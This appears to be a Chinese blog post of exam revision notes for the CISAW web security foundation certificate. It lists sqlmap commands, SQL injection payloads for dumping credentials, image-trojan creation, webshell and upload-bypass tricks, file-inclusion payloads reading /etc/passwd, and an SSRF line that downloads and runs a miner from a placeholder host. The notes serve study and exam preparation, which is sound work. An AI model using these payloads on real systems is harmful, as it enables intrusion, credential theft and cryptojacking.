当你的才华

还撑不起你的野心时

那你就应该静下心来学习

明天要考CISAW-Web安全基础级证书,复习整理一下思路,明天考试

目录

sql注入时,使用sqlmap注入mysql和access数据库有什么不同

sql注入

命令执行:

xss:

csrf

xxe

ssrf

代码审计:

php基本功:

python:

sql注入时,使用sqlmap注入mysql和access数据库有什么不同

三个给分点:

1.命令

mysql:

sqlmap   -u   url   --dbs

sqlmap   -u   url   -D   数据库名   --tables

sqlmap   -u   url   -D   数据库名   -T  表名   --columns

sqlmap   -u   url   -D   数据库名   -T  表名   -C 字段名   --dump

2. access:

sqlmap -u   url   --tables

sqlmap -u   url   --columns   -T 表名

sqlmap -u   url   -T  表名      -C 字段名    --dump

3. 说出sqlmap为什么注入access没有dbs

Access 每个数据就是个单独文件,每个Access 只有表结构

图片马的制作:

写出命令即可

/a

ASCIl文本文件(默认

/b

二进制文件复制——将复制扩展字符

windows

copy 1.jpg /b + 2.php /a  hack.jpg

linux

cp 1.jpg /b + 2.php /a hack.jpg

sql注入

1.union

# 判断是否存在注入

?id=1'

# 判断该注入点的长度是多少

?id=1' order by * --+

# 确认长度为*后(长度为3),获取系统信息(分别使用 user()、database()、version(),来进行查询)

?id=1' union select 1,2,version() --+

# 爆表

?id=1' union select 1,2,table_name from information_schema.tables

where table_schema='数据库名' limit 0,1 --+

# 爆字段

id=1' union select 1,2,table_column from information_schema.columns

where table_schema='数据库名' and table_name='表名' limit 0,1 --+

# 爆账号和密码

?id=1' union select 1,username,password from users limit 0,1 --+

• Booleanbase(普通盲注)

• Timebase(时间盲注)

• Errorbase(基于报错的盲注)。

至于具体分别,我们在后面的试验中会学习到。 首先我们要知道在盲注中经常用到的一些方式:

• left(database(),1) 返回 database()的最左面 1 个字符

• length(databse()) 返回数据库的长度

• substr(a,b,c) 从 b 位置开始,截取字符串 a 的 c 长度

• ascii() 将某个字符转换为 ascii 值

• mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位

# 盲注猜解系统版本号左边开头信息

?id=1' and left(version(),1)=5 --+

# 盲注猜解系统版本长度

?id=1' and length(version())=* --+

# 盲注猜解数据库版本信息内容

?id=1' and left(version,1) > '*' --+

# 盲注猜解数据库的表的名称

?id=1' and ascii(substr((select table_name from information_schema.

tables where table_shcema=database() limit 0,1),1,1)) > 100 --+

# 盲注猜解数据库表的列名

id=1' and ascii(substr((select table_column from information_schema

columns where table_shcema='数据库名' and table_name='表名'

limit 0,1),1,1)) > 99 --+

# 盲注猜解列名的内容

# 0x20 可以作为整型常量和单字节表示,在这里作为单字节表示,可用于字符型变量的赋值,用于char时,其代表ascii码值0x20,即字符空格''

?id=1' and 1=(select ifnull(cast(username as char),0x20) from

数据库名.表名 order by id limi 0,1),1,)) = 68 --+

# 判断数据库

?id=1' and 1=(select 1 from information_schema.columns where

table_name='表名' and column_name regexp '^username' limit 0,1) > 97 --+

2.bool

# 判断,同理表名字,段名

?id=1' and length(version())=8 --+

# 爆库名

?id=1' and left((select database()),8)='security'--+

# 爆表,爆字段,爆值

3.报错(extractvalue()函数 / updatexml()函数 / floor()函数)

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML()

注:updatexml注入

首先了解下updatexml()函数

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

4.time(sleep() / benchmark)

# 判断是否存在延时注入

?id=1' and sleep(3) --+

# 判断数据库长度是否为4,如果为真则延时3秒加载也没,为false则返回1

?id=1' and if(length(database())=4,sleep(3),1) --+

# 猜解数据库名称

?id=1' and if(left(database(),1)='d',sleep(3),1)--+

# 猜解表名

?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' , sleep(3), 1) --+

# 猜解密码字段

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password', sleep(3), 1) --+

# 猜解账号字段

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 9,1),8)='username', sleep(3), 1) --+

# 猜解密码字段内容

?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+

# 猜解账号字段内容

?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+

数据库

1.mysql(information_schema)

2.mssql(注入靠比大小)

3.access(没有库结构,只有表列)

注入点:

1.int

2.string

文件上传:

1. 木马

大马/小马

• 大马(功能多,代码量大)

• 小马(功能单一,一行解决)

什么情况下用小马?什么情况下用大马?什么时候用过狗马?

• 过狗小马:冰蝎小马

•过狗大马:过狗大马

答:遇到安全狗,直接上大马。原因是菜刀流量特征明显,而大马是正常文件正常访问。小马需要菜刀连接,而大马不需要

2.上传点

•头像

•文件管理

•附件管理

3.上传绕过

前端验证

禁用js

类型检测

mime

后缀名检测

各种截断

头检测

冰蝎图片木马

图片二次渲染

上传普通图片,判断渲染前和渲染后不变的位置

文件包含

远程文件包含(allow_url_include)

包含http路径,引入webshell

本地文件

包含本地敏感文件(/etc/passwd,config.ini)

伪协议

php://input     输入/输出流

php://input

php://filter      PHP 归档

?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php

file://              访问本地文件系统

file://etc/passwd

phar://            PHP 归档(php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压)

用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php

zip://             跟phar 类似,但用法不太一样

?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php

命令执行:

危险函数(exec/system/shell_exec/popen/passthru)

代码执行:

危险函数(eval/assert/preg_replace /e参数)

反序列化:

原理:

构造函数__construct

析构函数__distruct

__sleep

__weekup

定义的类中的方法在serialize/unserialize时候引用方法,导致(变量覆盖,传入恶意代码)进而危害系统安全

xss:

xss本质是恶意的js代码插入到前端页面中执行

类型:

1.反射型

危害小,一次性,常用作钓鱼

2.存储型

危害大,持久型(常常存在数据库中),常用来打cookie或截图,getshell

3.dom型

新型xss,通常认为是反射型,出现在各种事件处,最新研究可以是持久型

csrf

通常和xss连用,不获取cookie,而是通过诱导点击/ajax伪造发包等方式发起伪造请求

xxe

xml外部实体注入,可以引入外部实体实现读取本地敏感文件

ssrf

服务器端请求伪造

文件包含(include url)

命令执行(wget url)

危害:

可以控制服务器扫描内网

可以控制服务器下载挖矿(wget http://xxxxx/qwer;chmod a+x qwer;./qwer)

代码审计:

思路:

1.危险函数里边的可控变量

2.外部接受的变量传递流程

3.单个模块功能审计

php基本功:

函数(过滤,执行,string调整,匹配对比)

python:

变量

四则运算

逻辑控制(if else)

循环(for while)

函数

库(丰富的库,requests/bs4/urllib2,os/sys,xls,math,iso)

我不需要自由,只想背着她的梦

一步步向前走,她给的永远不重

web考证php实体,CISAW-Web基础级考证——考前复习知识点大杂烩相关推荐

  1. 信息安全保障人员CISAW认证基础级、专业级通用认证条件

    信息安全保障人员认证(Certified Information Security Assurance Worker,简称"CISAW")是中国网络安全审查技术与认证中心针对信息安 ...

  2. 计算机网络考前复习知识点(基础)

    1:常用的传输介质中,带宽最大.传输信号衰减最小.抗干扰能力最强的是光纤. 2:二层交换机工作在 OSI/RM 的数据链路层,三层交换机工作在OSI/RM的网络层. 3:对等层之间的通信使用的是协议. ...

  3. 2019电大计算机考试题及答案,2019年最新电大《计算机应用基础》期末考前复习综合练习题(A、B、C)及参考答案资料小抄...

    电大<计算机应用基础>期末复习综合练习题(A) 一.单选题(每题2分,共40分) 1 显示器是一种(B). A 输入设备 B 输出设备 C 存储器 D 运算器 2 在计算机中表示存储器容量 ...

  4. 2020小迪培训(第20天WEB 漏洞-文件上传之基础及过滤方式)

    WEB 漏洞-文件上传之基础及过滤方式 前言 知识点 什么是文件上传漏洞? 有文件上传不一定存在漏洞 凡是存在文件上传的地方/功能的地方都可以进行文件上传漏洞测试 上传文件操作的代码的完整性.安全性, ...

  5. Web前端系列技术之HTML基础(从入门开始)①

    Web前端系列技术之HTML基础(从入门开始)① 从这里开始,我便开始记录每天重新学习巩固HTML语言的过程,这不仅仅是为了提高自己的熟练度,更是为了让自己的博客一步一步的见证我走向前端全栈工程师这条 ...

  6. Java面试题 Web+EJB Spring+数据结构 算法计算机基础

    六.Web 部分:(共题:基础40 道,基础37 道,中等难度3 道) 122.说出Servlet 的生命周期,并说出Servlet 和CGI 的区别? [基础] 答:Web 容器加载Servlet ...

  7. web基础设施知识;web前端安全***,客户端安全基础

    web基础设施知识:web前端安全***,客户端安全基础(持续更新,后续会加入以BurpSuite等工具执行黑盒***测试的内容) <google chrome浏览器安全冲浪部分> 1.直 ...

  8. 玩转群晖NAS套件系列六:Web Station的安装与使用保姆级教程!

    本章总结: 上一章节我们讲解<玩转群晖NAS套件系列五:Moments的安装与使用保姆级教程!>,此教程堪称史上手把手的保姆教程,受到广大网友的一致好评. Web Station这个套件是 ...

  9. 1+X Web前端等级考证 | 2020 12月Web前端开发中级实操 (模拟试题第一套) 附答案

    由于经常分享失败,我上传github上了,先放上链接:https://github.com/Lydever/web-1-x.git 请礼貌,不要耍流氓哈哈,创作不易,下载的同时,请start一下,谢谢 ...

最新文章

  1. 爬虫学习笔记(十三)—— scrapy-redis(二):存储到MySQL、Scrapy项目部署
  2. PMcaff活动 | 汪培公:农村电商模式的重新思考
  3. 动态代理案例1:运用Proxy动态代理来增强方法
  4. CodeForces - 1307C Cow and Message(思维)
  5. C 线程的使用~(下)
  6. php vimrc配置文件,vim技巧:我的 .vimrc 配置文件,详解每一个配置项的作用
  7. 出大问题!webpack 多入口html模板在后端
  8. 阿里云的SLB,植入cookie和重写cookie有什么区别?
  9. python自动化办公excel-自动化办公:python 操作Excel
  10. 抖音短视频 产品需求文档
  11. 调研分析-全球与中国非线性光学BIBO晶体(BiB3O6)市场现状及未来发展趋势
  12. 钢琴的音色特点用matlab描述6,关于用MATLAB 实现简易钢琴 App的教程分享
  13. Python计算卡方值
  14. python去除空行_python中去掉空行的问题
  15. 两化融合贯标之-申请表案例
  16. 微信JSAPI支付对接流程及支付接口设计
  17. Android输入法方法,Android的输入法系统框架原理
  18. VR全景制作拍摄方法教程
  19. My future of programming
  20. 运算放大器的稳定性分析(一)

热门文章

  1. 高校计算机课件(一)NPM、PYPI、DockerHub 备份
  2. 第一个子元素在未超过父元素高度的情况下设置margin-top导致出现竖向滚动条的问题
  3. 三星s6 html5测试分数,三星S6 Edge跑分测试出炉
  4. 20170409 关于微信电脑版多开
  5. APP怎样拉新,APP拉新需要与用户交流
  6. 最小二乘法的拟合原理
  7. 碰见位置不可用无法访问磁盘结构损坏且无法读取如何解决?
  8. sqlite报错:sqlite3.OperationalError: near “updata“: syntax error
  9. 六边形格子地图坐标计算与转换
  10. 如何在Android引用第三方字体文件?